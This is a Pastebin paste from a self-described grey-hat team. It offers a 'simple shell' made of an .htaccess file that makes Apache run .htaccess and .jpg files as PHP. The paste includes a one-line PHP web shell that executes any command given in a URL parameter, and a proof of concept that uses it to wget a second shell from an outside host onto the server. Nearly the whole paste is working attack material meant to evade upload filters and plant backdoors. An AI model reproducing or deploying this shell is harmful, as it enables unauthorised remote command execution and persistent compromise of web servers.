Advertisement
zeroc0d3

Simple Shell with .htaccess and .jpg

Jul 13th, 2015
1,062
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.32 KB | None | 0 0
  1. Simple Shell with .htaccess and .jpg
  2. --------------------------------------------------------
  3. __________                  _________ _______       .___________  
  4. \____    /___________  ____ \_   ___ \\   _  \    __| _/\_____  \ Team
  5.   /     // __ \_  __ \/  _ \/    \  \//  /_\  \  / __ |   _(__  <
  6.  /     /\  ___/|  | \(  <_> )     \___\  \_/   \/ /_/ |  /       \
  7. /_______ \___  >__|   \____/ \______  /\_____  /\____ | /______  /
  8.         \/   \/                     \/       \/      \/        \/
  9.  
  10. ZeroC0d3 Team
  11. [ N0th1ng Imp0ss1bl3, Grey Hat Coder ]
  12. --------------------------------------------------------
  13. http://pastebin.com/u/zeroc0d3  
  14. https://www.nulled.io/user/123090-zeroc0d3/
  15.  
  16. # Override default deny rule to make .htaccess file accessible over web
  17. <Files ~ "^\.ht">
  18. Order allow,deny
  19. Allow from all
  20. </Files>
  21.  
  22. # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
  23. # the apache directoves from the .htaccess file
  24. AddType application/x-httpd-php .htaccess
  25. AddType application/x-httpd-php .jpg
  26.  
  27. ##### SHELL ######
  28. <?php echo "\n";passthru($_GET['cmd']." 2>&1"); ?>
  29.  
  30. POC :
  31. ---------------------
  32. yoursite.com/.htaccess?cmd=wget -O zeroc0d3.php http://yourothersitewithshell/yourshell.txt
  33. yoursite.com/pic.jpg?cmd=wget -O zeroc0d3.php http://yourothersitewithshell/yourshell.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement